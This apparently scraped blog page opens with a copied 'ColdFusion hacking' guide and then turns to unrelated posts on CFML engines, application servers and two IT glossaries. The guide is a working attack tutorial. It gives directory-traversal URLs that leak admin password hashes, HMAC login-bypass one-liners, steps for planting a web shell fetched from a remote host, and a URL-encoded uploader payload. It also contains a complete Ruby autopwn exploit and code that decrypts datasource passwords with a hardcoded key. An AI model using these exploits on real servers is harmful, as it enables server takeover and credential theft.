NotaPedia

Explain ColdFusion Hacking

noreply@blogger.com (Unknown) — Thu, 27 Jun 2013 04:31:00 +0000

copied from: http://www.blackhatlibrary.net/Coldfusion_hacking
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Coldfusion hacking

ColdFusion Markup Language is an interpreted language utilizing a Java backend. It allows direct access to Java via its cfscript tags, while simultaneously offering a simple web wrapper. It is vulnerable to a variety of attacks, but mainly Local File Disclosure (LFD) and SQL injection. ColdFusion scripts are commonly run as an elevated user, such as NT-Authority\SYSTEM (Windows) or root (Linux), making them especially susceptible to web-based attacks.

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Injection

ColdFusion script attacks are primarily platform-specific. The following examples outline vectors for attack.

Two platforms presently support ColdFusion Markup Language:

Adobe ColdFusion
Railo

ColdFusion scripts are officially recognized with two file extensions:

This page includes a Zero-day XSS attack. Using these techniques against any system without authorization is a criminal act.

Adobe ColdFusion

Technique: LFD to ColdFusion Administrator authentication bypass to remote command execution (complete compromise):

Remote File Disclosure of Password Hashes

The most critical ColdFusion vulnerability affects about a tenth of all ColdFusion servers at the present. It chains together multiple exploits, and it provides a 30 second window into the Administration panel. The ColdFusion Administration panel can then be used to write out a shell.

You will need:

Tamper Data[1] (Firefox extension)

To begin, the site in question must have an ColdFusion Administrator available. By default, it's mapped to CFIDE/administrator/enter.cfm. If it returns 500 Forbidden, switch to HTTPS. Alternatively, use the IP and not the hostname. Once at the ColdFusion administrator, verify it is either version 7 or 8. Then, supply the following injections [2]:

LFI	Affects
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.propertiesen	ColdFusion 6
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.propertiesen	ColdFusion 7
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.propertiesen	ColdFusion 8
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.propertiesen	All versions

If the LFD succeeds, the ColdFusion Administrator hash will be included on the page.

Issues

The page does not display properly (broken images)/I can't figure out what version it is

Try supplying the injections anyway. If the LFD succeeds but the images are broken, you will need to manually HMAC the administrator hash against the salt to bypass authentication. In an effort to simplify this, I've supplied a one-liner command you can run to perform this:

python -c 'import hashlib,hmac; hash=raw_input("Hash > "); salt=raw_input("Salt > "); print "HMAC",hmac.new(salt,hash,hashlib.sha1).hexdigest().upper()'

The hash is provided via the LFD, and the salt is updated every 30 seconds in the source (ctrl+F salt, second one).

None of the injections worked

There are a couple possible reasons behind this one. One, the files may not actually be there! Try including \boot.ini or /etc/hosts to find out if this is the case. If they include successfully, you may need to blindly locate the password.properties file (or another file of value). Two, the server may have l10n already patched. You'll need to find another vulnerability.

Logging In

Now that the hash has been included, you may have been misled by other guides that you need to reverse it/hope its plaintext. This is NOT the case. Due to a second security advisory, you can bypass the authentication using the hash alone. Simpily paste the hash into the admin password form and run this via your address bar:

javascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value))

It's a good idea to bookmark this to cut down on time. NoScript users: make sure you are allowing scripts to run while performing this.

You will get an alert with the HMACed hash. Copy this value.
Go to Tools -> Tamper Data and Start Tampering.
Submit the login form, and paste the hash in the cfadminPassword field.
Press OK.

If you were fast enough, you should be in the ColdFusion Administrator.

Writing Shell to File

Go to the Settings Summary tab on the left and find the 'Mappings' section.
One of the default mappings is /CFIDE. This is where you will be writing to.
Copy the path next to it.
Enter the Debugging and Logging tab on the left panel and click 'Scheduled Tasks'
Click 'Schedule New Task'.
Set the task name to whatever you like
Change the URL to the URL of a plaintext CFM shell (http://example.site.tld/shells/cfm.txt)
Check the option to save the output to a file.
Paste the path you acquired from the Mappings into the 'File' field,
Type the name you want to save the shell as and the extension (cfm).
Press OK and click the green check to run the task.

If everything went as expected, your shell should now be on the server at /CFIDE/shellname.cfm.

Delete the task.

Issues

It failed to get my shell

Either /CFIDE is not writable (rare) or an outgoing firewall prevents you from retrieving a shell. It is possible to subvert the outgoing firewall by exploiting a localhost XSS in probe.cfm (supply it in the URL field of the scheduled task):

Notice: We realize the URL below is horrifying. Trust it. It exploits a zero day XSS attack in probe.cfm.

/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EFile%20uploaded!%3Ccfcatch%3EUpload%20failed%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E

A very small uploader will be written that uploads to the current path.

Railo

Railo is commonly misconfigured to run as root. It also is the target of path disclosure. To accomplish this, go to a .cfm script that doesnt exist on the site, or error a .cfm script. Railo will give a verbose debug output disclosing potentially important information.

PoC: cf8_autopwn.rb

Special thanks to Savitri for this script.

#!/usr/bin/ruby require 'net/http' require 'net/https' require 'openssl' def usage puts "usage: ./cf8_autopwn.rb host port" end if not ARGV.length == 2 usage exit(1) end server = ARGV[0] port = ARGV[1].to_i http = Net::HTTP.new(server, port) if port == 443 then http.use_ssl = true end # replace local with text file containing drtrv strings # or ill stop being lazy and rewrite this to iterate through all options # until we get a hit path = '/CFIDE/administrator/enter.cfm' locale = 'locale=../../../../../../../../../../ColdFusion8/lib/password.propertiesen' headers = { 'Host' => server, 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => locale.length.to_s, } resp, data = http.post(path, locale, headers) data =~ /\<title\>.password=([A-F0-9]+).\<\/title\>/m password = $1 data =~ /\<input name="salt" type="hidden" value="(\d+)"\>/ salt = $1 hash = OpenSSL::HMAC.hexdigest('sha1',salt, password) logindata = "cfadminPassword=#{hash.upcase}&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F" logindata += "&salt=#{salt}&submit=Login" loginheaders = { 'Host' => server, } resp, data = http.post(path, logindata, loginheaders) puts resp['set-cookie']

#!/usr/bin/ruby
 
require 'net/http'
require 'net/https'
require 'openssl'
 
def usage
    puts "usage: ./cf8_autopwn.rb host port"
end
 
if not ARGV.length == 2
    usage
    exit(1)
end
 
server = ARGV[0]
port = ARGV[1].to_i
 
http = Net::HTTP.new(server, port)
if port == 443 then http.use_ssl = true end
 
# replace local with text file containing drtrv strings
# or ill stop being lazy and rewrite this to iterate through all options
# until we get a hit
path = '/CFIDE/administrator/enter.cfm'
locale = 'locale=../../../../../../../../../../ColdFusion8/lib/password.propertiesen'
headers = {
    'Host' => server,
    'Content-Type' => 'application/x-www-form-urlencoded',
    'Content-Length' => locale.length.to_s,
}
 
resp, data = http.post(path, locale, headers)
data =~ /\<title\>.*password=([A-F0-9]+).*\<\/title\>/m
password = $1
data =~ /\<input name="salt" type="hidden" value="(\d+)"\>/
 
salt = $1
hash = OpenSSL::HMAC.hexdigest('sha1',salt, password)
 
logindata = "cfadminPassword=#{hash.upcase}&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F"
logindata += "&salt=#{salt}&submit=Login"
loginheaders = {
    'Host' => server,
}
 
resp, data = http.post(path, logindata, loginheaders)
puts resp['set-cookie']

Privilege Escalation

Three techniques can be employed to escalate privileges:

1. ColdFusion 9 (latest) is still vulnerable to the same admin bypass. If you have the hash, the CF 7/8 technique can be applied.

2. Encrypted, base64ed ColdFusion hashes in 7+ can be reversed [3]. They can be found in the source of the datasource pages in the Administrator and in xml files in lib/. To decrypt them, run this in a ColdFusion environment:

<cfscript> o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources(); for(i in o) { if(len(o[i]["password"])){ dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ; writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#"); } } </cfscript>

<cfscript>
o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
for(i in o) {
if(len(o[i]["password"])){
dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ;
writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#");
}
}
</cfscript>

3. Sandbox security for cfexecute can be bypassed. Use

createObject("java","java.lang.ProcessBuilder").init(cmd).start()

within cfscript tags (Zero-Day attack 2).

Patching

Patching a ColdFusion instance from the LFD->Bypass->RCE exploit can only be done on ColdFusion 8. No other versions can be patched. That being said, the official Adobe patch can be downloaded here:

http://kb2.adobe.com/cps/857/cpsid_85766.html

Extract the .zip file and replace the two affected files (l10n.cfm & l10n_testing.cfm). Restart the ColdFusion Application Server service to apply the patch. Alternatively, run the following code in a ColdFusion environment:

<cfscript> oJRun = CreateObject("java","jrunx.kernel.JRun"); oJRun.restart(oJRun.getServerName()); </cfscript>

Protip: You can verify the host is patched by testing various LFD injections against /CFIDE/administrator/enter.cfm.

Resources

http://www.infointox.net/?p=59

http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html

http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

http://www.securiteam.com/tools/5ZP0B00FPG.html - Barebones Cfm Shell (Detected by anti-virus.)

Free alternatives to Adobe ColdFusion Server

noreply@blogger.com (Unknown) — Sat, 22 Jun 2013 13:23:00 +0000

1) BlueDragon - https://en.wikipedia.org/wiki/BlueDragon

BlueDragon is a ColdFusion Markup Language (CFML) engine comparable to Adobe Systems's ColdFusion. It is licensed and distributed by New Atlanta from TagServlet Ltd based in Scotland.

BlueDragon is also distributed and supported by BEA Systems on their Oracle WebLogic Server server platform.

BlueDragon applications run on a variety of platforms, including Microsoft Windows, Linux, and Mac OS X. It is mostly compatible with ColdFusion MX 7.
In March, 2008 New Atlanta announced that the future versions of BlueDragon (Java EE editions) will be released as open source products

2) Railo - http://en.wikipedia.org/wiki/Railo

Railo Server, commonly referred to as Railo (/raɪloʊ/ raɪ-lo), is open source software which implements the general-purpose CFML server-side scripting language, often used to create dynamic websites, web applications and intranet systems. CFML is a dynamic language supporting multiple programming paradigms and runs on the Java Virtual Machine (JVM).

Railo was created by the Swiss company Railo Technologies GmbH, intended as a high performance alternative to Adobe ColdFusion. In 2008, Railo switched to an open source community-driven model, and became a JBoss project. The Railo Open Source project is led by Railo Technologies, with development work funded by consulting and support contracts, but anyone may contribute code for consideration.

3) http://en.wikipedia.org/wiki/SmithProject

SmithProject was an Open Source CFML script engine.
The Smith Project was initiated by youngculture AG based on a need to migrate a large ColdFusion based web application to a Java-based engine.

GlassFish Vs JBoss

noreply@blogger.com (Unknown) — Thu, 20 Jun 2013 12:27:00 +0000

Oracle GlassFish Server Advantages Versus JBoss

Highlighting the differences between GlassFish and JBoss is not in any way meant to impugn the
quality of JBoss or the JBoss community. However, it is important for developers to be aware of the
trade-offs that may be implicit in the choices they make. Below are a few examples of specific capabilities and features where Oracle GlassFish Server holds an advantage; developers who are building,
deploying, and managing Java applications and Web services should consider these advantages.

Read more at: http://www.oracle.com/us/products/middleware/application-server/oracle-glassfish-server/comparing-glassfish-jboss-wp-117118.pdf

What's the difference between Coldfusion Developer Edition and Enterprise Edition?

noreply@blogger.com (Unknown) — Tue, 18 Jun 2013 15:52:00 +0000

Legally, Enterprise is for public consumption, and Developer is not. Practically, this means that the Developer edition (which is the same as the Evaluation edition after the 30? days) is limited to localhost + 1 IP address. That is, it can serve files to localhost and 1 external IP. This IP can only be reset by restarting the service. Otherwise, your Developer Edition will mimic an Enterprise Edition completely.

Read more at: http://stackoverflow.com/questions/745921/whats-the-difference-between-coldfusion-developer-edition-and-enterprise-editio

IT GLOSSARY

noreply@blogger.com (Unknown) — Sat, 08 Jun 2013 00:47:00 +0000

from: http://www.mhhe.com/business/buscom/gregg/docs/appd.pdf
IT GLOSSARY
antivirus program or software - A program that will detect and remove computer viruses.
application programs – Programs used directly by the end user, such as word processing and appointment
scheduling.
archival backup1
- 1. A routine that makes it possible to back up only the files that have changed since
the last backup, instead of backing up every file. Archival backup saves time and storage space. 2. A
backup that will be stored for a longer period of time.
ASP - Application Service Provider. A third-party software distribution and/or management service.
Generally provides software via a wide area network from a centralized data center. Allows companies to
outsource and more efficiently upgrade software.
automatic postback – A function of computer software that receives Electronic Remittance Advice from
an insurance carrier and automatically posts the payments and adjustments and may queue secondary
insurance claims or may mark them as crossed over. Also called automatic remittance.
automatic remittance – A function of computer software that receives Electronic Remittance Advice from
an insurance carrier and automatically posts the payments and adjustments and may queue secondary
insurance claims or may mark them as crossed over. Sometimes called automatic postback.
browser - A client program that allows users to read hypertext documents on the World Wide Web and
navigate between them. Examples are Netscape Navigator, Lynx, and Microsoft Internet Explorer.
Browsers can be text-based or graphic.
cable modem - A cable modem is an external device that connects to the computer, and instead of
getting an Internet connection through a telephone wire (or another system), the connection comes
through a cable network (the same as that used for cable TV connections).
capitation – An arrangement between the practice or provider and an insurer in which the insurer pays
the practice or provider a certain amount of money per patient for a certain time period to cover the
medical needs for a population of patients covered by the insurer. All procedures may be included in the
capitation arrangement or only a specific list of procedures may be included with any others being fee for
service.
CD – Compact Disk – A small platter on which computer data can be stored and read.
CD-ROM – Compact Disk Read Only Memory – An optical disc that is physically the same as an audio CD,
but contains computer data. Storage capacity is about 680 megabytes. CD-ROMs are interchangeable
between different types of computers.
CD-ROM drive - A disk drive that reads CD-ROMs and audio CDs. It may be installed in the computer or
removable. Recordable CD-ROM drives can also record onto the CDs.
client - The computer in a client/server architecture that requests files or services. The computer that
provides services is called the server. The client may request file transfer, remote logins, printing, or
other available services. The client also means the software that makes the connection possible.
client/server – An architecture in which one computer can get information from another. The client is
the computer that asks for access to data, software, or services. The server, which can be anything from
a personal computer to a mainframe, supplies the requested data or services for the client.
1
Most of the definitions in the Glossary are courtesy of ComputerUser.com.
AAOE would like to thank Susan Jones, author of the AAOE publication, Selecting and Implementing the Right EMR, Practice
Management and Optical System for Your Practice (Acadmy Store Product # 012169) and owner of KeyMedical Systems for making
the glossary available to our members. She can be reached at susanjones@keymedical.net or (765) 482-7964. client/server network - A network in which one or more computers are servers, and the others are
clients, as opposed to a peer-to-peer network, in which any node can be a client and server.
cluster control unit - A device that manages the input and output of several devices. For example, a
cluster control unit may control several disk drives connected to a main computer.
coaxial cable - A cable consisting of a single conductor which is surrounded by insulation and a
conductive shield. The shield usually is connected to an electrical ground and prevents the cable from
picking up or emitting electrical noise. Coaxial cables are used in communications.
computer cabling – Wires that connect peripherals to the servers, hubs, switches, modems, and routers
within a building. A combination of cables, wire, cords and connecting hardware used in the
telecommunications infrastructure.
computer hardware - The hardware is the physical part of a computer system; the machinery and
equipment.
CPR system - Computerized Patient Records system – Charting medical records via computer. Also called
EHR and EMR.
cross connection – A connection scheme between cabling runs, subsystems and equipment using patch
cords or jumpers that attach to connection hardware on each end.
DAT – Digital Audio Tape - A kind of magnetic tape originally designed for audio format, now also used in
computers to back up data. DAT cassettes are about the size of audiocassettes and can store up to 24GB.
disk cache – A section of RAM that provides a cache between the disk and the CPU. It enables the
computer to operate faster. Retrieving data from the hard disk can be slow; a disk caching program or
disk caching controller helps solve this problem by placing recently accessed data in the disk cache. Next
time that data is needed, it may already be available in the disk cache; otherwise a time-consuming
search of the hard disk is necessary.
disk caching controller – A computer card which determines how data is read, written and stored for
speed of access.
disk drive – A fast storage device for computers containing spinning platters on which data is stored.
disk drive array – Multiple disk drives which store data either for speed of access or for redundancy.
distributor – A facility enabling the termination of cables as well as their interconnection or crossconnection with other cabling or equipment.
DLT – Digital Linear Tape - A type of 1/2" wide magnetic tape used for backup. One of the fastest backup
methods that can backup very large amounts of data very quickly. Used mainly on larger system
configurations.
dumb terminal – Computer-like device that includes a screen and a keyboard for both display and input.
It connects to the server. It is called “dumb” because it can do very little on its own. It is not a
computer by itself. The programs it “runs” are located on the server. Also called a terminal.
EHR system – Electronic Health Records system – Charting medical records via computer. Also called CPR
and EMR.
electrical surge protection – A device that keeps computer hardware safe from electrical power
excesses.
electronic claims – Insurance claims that the computer system files either through a direct modem
connection or through the Internet. EMI - Electrical Magnetic Interference – Interference from electromagnetic waves that come from
electrical and electronic devices. These forces can wreak havoc with computer cabling.
EMR system – Electronic Medical Records system – Charting medical records via computer. Also called
CPR and EHR.
enterprise network - A network for a large business enterprise. This kind of network may comprise a
number of local area networks, which have to interface with each other as well as with a central
database management system and many client workstations. The design and management of an
enterprise network can be very complex.
FFS – Fee For Service – A payment arrangement in which the provider is paid a fee for each service
provided.
fiber-optic cable - A cable that carries laser light, encoded with digital signals, rather than electrical
energy. Made of thin fibers of glass, fiber-optic cables can transmit large amounts of data per second.
Fiber-optic cables cannot be tapped by remote sensing equipment because they do not emit
electromagnetic radiation.
firewall - An electronic boundary that prevents unauthorized users from accessing certain files on a
network; or, a computer used to maintain such a boundary.
FRAD - Frame Relay Access Device - A combination of hardware and software that is used to convert
communications packets from formats like TCP, SNA, IPX, and others into frames that can then be sent
over a frame relay network.
graphical browser - A browser that can display graphic images (pictures) in addition to text; examples
are Netscape Navigator and Internet Explorer.
GUI - Graphical User Interface – A type of screen display between the computer and the user in which
pictures, drawings and text are used to help convey content instead of text only.
hard disk - The main device that a computer uses to store information. Hard disks are rigid aluminum or
glass disks about 3.5" in diameter in a personal computer and smaller in a laptop. They are coated with
ferromagnetic material and rotate around a central axle. Data is transferred magnetically by a
read/write head. A hard disk drive for a personal computer may contain as many as eight hard disks,
rotating around the same axle. Most hard disks are permanently connected to the drive, but there are
removable hard disks. Hard disk access time (the amount of time it takes to retrieve data) is measured in
milliseconds.
hardware – Computer equipment including servers, modems, workstations, terminals and printers.
home-run cabling – A distribution method in which individual cables are run directly from the horizontal
cross-connect to each telecommunications outlet. This configuration is also known as star topology.
horizontal cabling – The cabling between and including the telecommunications outlet and the
horizontal cross-connect.
host – 1. A computer connected to a network that provides data and services to other computers.
Services may include data storage, file transfer, data processing, e-mail, bulletin board services, World
Wide Web, etc. 2. A multi-user computer that has terminals attached to it.
HTML (Hypertext Markup Language): Coding that is used to indicate how files should be displayed on the
World Wide Web.
hub – Equipment that serves as the centralized connection point for a network or portion thereof. Hubs
are used for multiplexing, multi-port bridging functions, switching and test access. They can be either
passive or active and are not considered to be part of the cabling infrastructure.
incremental backup - Making a copy of only the files that have changed since the last backup, instead of
backing up every file. Incremental backup saves a lot of time and can save storage space.intranet - A local area network, which may not be connected to the Internet, but which, has some similar
functions. Some organizations set up World Wide Web servers on their own internal networks, so
employees have access to the organization's Web documents.
Internet – The network connected around the world which allows users to send files, e-mails, and access
all types of sites for information.
ISP – Internet Service Provider – Companies which offer users access to the Internet.
Jazz drive - A compact, removable-cartridge disk drive made by Iomega Corporation. A 540MB and a 1GB
cartridge are available.
knowledge base – The list of available symptoms and findings in Electronic Medical Records systems.
live – Using your computer system while seeing patients in your normal routine.
local area network - LAN - A network that connects computers that are close to each other, usually in the
same building, linked by cables.
modem – A peripheral device that connects computers to each other for sending communications via the
telephone lines. The modem modulates the digital data of computers into analog signals to send over the
telephone lines, then demodulates back into digital signals to be read by the computer on the other end;
thus the name "modem" for modulator/demodulator. Modems are used for sending and receiving
electronic mail, connecting to bulletin board systems, connecting remote offices, and surfing the
Internet. There are standards to ensure that modems made by different manufacturers can communicate
with each other. Modems communicating with each other must use the same speed.
multiplexer – (MUX) - A hardware device that enables two or more signals to be transmitted over the
same circuit by temporarily combining them into a single signal. On the receiving end, the signals are
divided again by a demultiplexer.
node – A computer in network.
operating system – The program that runs behind the scenes on a computer. Application programs run on
top of the operating system.
packet - A unit of data formatted for transmission on a network. Data is broken up into packets for
sending over a packet switching network. Each packet has a header containing its source and destination,
a block of data content, and an error-checking code. All the data packets related to a message may not
take the same route to get to their destination; they are reassembled once they have arrived.
patch cord – A length of cable with connectors on one or both ends used to join telecommunications
outlets/connectors.
patch panel – Connecting hardware that typically provides means to connect horizontal or backbone
cables to an arrangement of fixed connectors that may be accessed using patch cords or equipment cords
to form cross-connections or interconnections.
PC – Personal Computer.
peer-to-peer network - A communications network in which any computer on the network can be a client
and/or a server. Any computer can access files on any other computer in the network.
peripheral - Any piece of hardware connected to a computer; any part of the computer outside the CPU
and working memory. Some examples of peripherals are keyboards, mice, monitors, printers, scanners,
disk and tape drives, microphones, speakers, joysticks, plotters, and cameras. More common office
peripherals are printers and modems. plenum – A compartment or chamber to which one or more air ducts are connected and that forms part
of the air distribution system.2
Drop ceilings are commonly used as a plenum.
power surge - A sudden rise of current or voltage in an electrical circuit that can last up to several
seconds. A power surge can cause damage to a computer or its files if there is no surge protector.
practice hosted system – A computer system where the server is located at the practice’s office.
Practice hosted systems are accessed through cables in the office or via telephone lines for satellite
offices.
practice management system - Computer programs that provide functions for the clerical,
administrative and financial needs of a medical office.
RAID - Redundant Arrays of Independent Disks (Originally "Redundant Arrays of Inexpensive Disks") - The
use of two or more disk drives instead of one disk, which provides better disk performance, error
recovery, and fault tolerance, and includes interleaved storage techniques and mirroring of important
data.
Redundant Arrays of Independent Disks - RAID - Originally "Redundant Arrays of Inexpensive Disks". The
use of two or more disk drives instead of one disk, which provides better disk performance, error
recovery, and fault tolerance, and includes interleaved storage techniques and mirroring of important
data.
remote access concentrator - A remote access server that supports one or more T1/E1 lines. Remote
access concentrators allow multiple ISDN and analog calls to come in over one port from the telephone
company, allowing for higher call densities than remote access servers; they include dial-up protocols,
authentication, and greater accessibility. See remote access server.
remote access server - RAS - The host computer within a LAN that gives access to remote users using
analog modems or ISDN connections via the host computer's modem. See also remote access
concentrator.
remotely hosted ASP – An ASP where the server is not located at the practice’s office. Remotely hosted
ASPs are usually accessed through the Internet.
RFP – Request for Proposal – A list of questions sent to a vendor for his response. The response helps the
sender gain information needed to make a decision on purchasing an item.
Robot or Spider: Special software used by search engines that crawls the web and pulls information from
Web pages so they can be indexed.
router - A device that finds the best path for a data packet to be sent from one network to another. A
router stores and forwards electronic messages between networks, first determining all possible paths to
the destination address and then picking the most expedient route, based on the traffic load and the
number of hops. A router can be hardware or a combination of hardware and software.
server – The computer in a client/server architecture that supplies files or services. The computer that
requests services is called the client. The client may request file transfer, remote logins, printing, or
other available services.
software – Computer programs that tell a computer's hardware what to do. System software is the
operating system that controls the basic functioning capabilities of the computer, network software
enables multiple computers to communicate with one another, and language software is used to develop
programs.
spike - A sudden pulse of extra voltage, lasting a fraction of a second, which can cause the computer to
crash and damage files or computer components if there is no surge protector on the line. A burst of
extra voltage that lasts longer, perhaps several seconds, is called a surge.
2
National Electric Code. SPS – Stand-by Power Supply - An offline backup power supply system which automatically switches on in
case of power failure.
star topology – A method of cabling each telecommunications outlet/connector directly to a crossconnection in a horizontal cabling subsystem.
surge - A sudden pulse of extra voltage, lasting a second or longer, which can cause the computer to
crash and damage files or computer components if there is no surge protector on the line. A burst of
extra voltage that lasts only a fraction of a second is called a spike.
surge protector - An electrical device that protects a computer from spikes and surges in the power line.
All computers have some surge protection built in, but this protection is not always enough. External
surge protectors come in the form of a unit that plugs into the wall, with outlets for several electrical
plugs. However, not all outlet bars have surge protection.
switch - 1. A communications device that controls the operation and routing of a signal path. 2. A circuit
element which enables a device to be turned either on or off. 3. A networking device that can send
packets directly to a port associated with a given network address.
Tags: An HTML code. The tags discussed in this article refer to HTML elements that allow the Web
designer to supply search engines with extra information, such as key words associated with the site.
tape backup - Using magnetic tape for archiving purposes. Half-inch tape, quarter-inch cartridges, and
DAT tape are commonly used.
telecommunications - The transmission of information over a communications line. Telecommunications
can include use of a modem, fax, telephone line, etc. to send voice, data, text, images, or video over
long distances. A common use of telecommunications is to connect remote office sites to the main office
server.
telecommunications outlet/connection – A fixed connecting device where the horizontal cable
terminates. The telecommunications outlet provides the interface to the work area cabling. Patch cords
are typically plugged into these outlets which then connect the computers. Phones are also plugged into
these outlets.
terminal - Computer-like device that includes a screen and a keyboard for both display and input. It
connects to the server. It is called “dumb” because it can do very little on its own. It is not a computer
by itself. The programs it “runs” are located on the server. Also called a dumb terminal.
text-based browser - A browser that can only read text files, not images or multimedia.
Trojan horse - A program that appears to be useful and harmless but which has harmful side effects such
as destroying data or breaking security on the system on which it is run. It is similar to a virus except that
it does not propagate itself as a virus does.
twisted pair cable - The type of cable used for most telephone wiring. It has pairs of copper wires
twisted together to minimize electrical noise. There are shielded twisted pair (STP) and unshielded
twisted pair (UTP) cables. In shielded twisted pair cables, each pair has a metal sheath around it for
better protection against interference.
UPS – Uninterruptible Power Supply – A backup power supply that works when electrical power to the
computer is interrupted. A small UPS can supply battery power for a few minutes so files can be saved
and the computer can be shut down properly; a larger UPS can supply power for much longer.
virus - A program that infects a computer by atttaching itself to another program, and propagating itself
when that program is executed. A computer can become infected by files downloaded over a network, or
by the installation of new software or floppy disks that are infected with viruses. Some viruses are only
pranks, and perform harmless actions like displaying a screen with a joke message on it. Others can
destroy files or wipe out a hard drive. To avoid damage from viruses, write-protect the boot disk and
other important disks, check new software or disks for viruses, and have virus protection software
installed on the computer at all times. Disinfectant programs must be updated periodically because new viruses get into circulation over time. There are some virus protection programs available on the Internet
for free. Disinfectant for Macintosh, written by John Norstad of Northwestern University, is freeware;
McAfee Anti-Virus for the PC is a shareware program. Knowingly spreading a computer virus is a crime
punishable by law. See also Trojan horse and worm.
virus protection program or software - See antivirus program or software.
wide area network - WAN - A network in which computers are connected to each other over a long
distance, using telephone lines and satellite communications. Contrast with local area network (LAN).
workstation – A computer used by a worker that connects to the server. It may contain some programs
that are not shared by other users, but it also can access programs and data from the server.
worm - A computer program that can make copies of itself, and spreads through connected systems, using
up resources in affected computers or causing other damage.
Zip drive - A 3.5" removable cartridge used with the Iomega Zip drive. Zip disks can store 25MB, 100MB or
more, and are used to back up data or transfer data from one computer to another.

Glossary of Computer Terms

noreply@blogger.com (Unknown) — Sat, 08 Jun 2013 00:46:00 +0000

from: http://www.mhhe.com/business/buscom/gregg/docs/appd.pdf
D–1
Glossary of Computer Terms
APPENDIX D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
As computer technology continues to change, a new vocabulary continues to evolve. The following glossary provides brief deﬁnitions of the key terms and concepts that are part of this vocabulary.
The sources I consulted to update this glossary for the eleventh edition of The Gregg Reference Manual
include Webster’s New World Computer Dictionary, 10th ed., Wiley, New York, 2003, and Microsoft Computer
Dictionary, 5th ed., Redmond, Wash., 2002.
William A. Sabin
NOTE: When boldface type is used to highlight a word or phrase within a deﬁnition, it signiﬁes that the
highlighted word or phrase is deﬁned elsewhere in this glossary.
➠ See ¶544 for a list of common computer abbreviations.
Access. To call up information out of storage.
Random access. A technique that permits stored information to be directly retrieved, regardless of
its location on the storage medium.
Sequential access. A technique for retrieving stored information that requires a sequential search
through one item after another on the storage medium.
Access time. The amount of time it takes for requested information to be delivered from disks and memory.
Active matrix display. A type of monitor typically used on laptop or portable computers; provides a
brighter, more readable display than older LCD equipment.
Adapter. A circuit board that plugs into a computer and gives it additional capabilities. (See also
Circuit board.)
AI. See Artificial intelligence.
Algorithm. A step-by-step procedure designed to solve a problem or achieve an objective.
Alpha testing. First-stage testing of computer products, typically done in house by the developer. (See
also Beta testing; Gamma testing.)
Alphanumeric. Consisting of letters, numbers, and symbols.
Antivirus software. A program designed to look for and destroy viruses that may infect the memory
of a computer or ﬁles stored on a computer.
Applet. A small application, that is, a program designed to perform a simple task. An applet is usually
embedded within a larger program or downloaded from the Internet when needed.
Application (or app). A program designed to perform information processing tasks for a speciﬁc purpose
or activity (for example, desktop publishing and database management). (See also Applet; Killer app.)D–2 Part 3 • References
Glossary of
Computer Terms
D
Copyright © 2011 by the McGraw-Hill Companies, Inc. All rights reserved.
Archive. A ﬁle compressed for more efﬁcient use of storage space. The compression of ﬁles may be
accomplished by means of such programs as Stufﬂt.
Artiﬁcial intelligence (AI). Computer systems that attempt to imitate human processes for analyzing
and solving problems.
Ascending sort. Sorting records from A to Z or 0 to 9. (See also Descending sort.)
ASCII (pronounced as-kee). An acronym derived from American Standard Code for Information Interchange. ASCII is a standard 7-bit code that represents 128 characters. The use of this standard code
permits computers made by different manufacturers to communicate with one another.
B, b. B is the abbreviation of byte; b is the abbreviation of bit.
Background printing. The ability of a computer to print a document while other work is being done on
the keyboard and the display screen at the same time.
Backup. Storage of duplicate ﬁles on disks, diskettes, or some other form of magnetic medium (such
as tapes) as a safety measure in case the original medium is damaged or lost. (One word as a noun or an
adjective: backup procedures; two words as a verb: back up your hard disk.)
Bacn. An e-mail message that might be considered spam except for the fact that the recipient has
elected to receive it. Bacn (pronounced bacon) has been described as “e-mail you want but not right now.”
Newsletters, alerts, and automated reminders are considered examples of bacn.
Bandwidth. The volume of information that a network can handle (usually expressed in bits per
second). The greater the bandwidth, the more quickly data can be downloaded from the Internet or
moved from a network to a user’s computer. The term bandwidth is now also used to refer to a person’s
attention span (as in “Burt is a low-bandwidth kind of guy”) or a person’s ability to handle an assignment (as in “Sally lacks the bandwidth to do this job”). The question “How’s your bandwidth?” means
“Are you busy?”
Basic Input/Output System (BIOS). A set of programs stored in read-only memory (ROM) on IBM or
IBM-compatible computers. These programs control the disk drives, the keyboard, and the display
screen, and they handle start-up operations.
BBS. See Bulletin board system.
Beta testing. Second-stage testing of computer products, typically done by potential customers and
outside experts to identify problems that need to be ﬁxed before the product can be released for sale. (See
also Alpha testing; Gamma Testing.)
Binary code. The language used by computers in which data and instructions are represented by a
series of 1s and 0s.
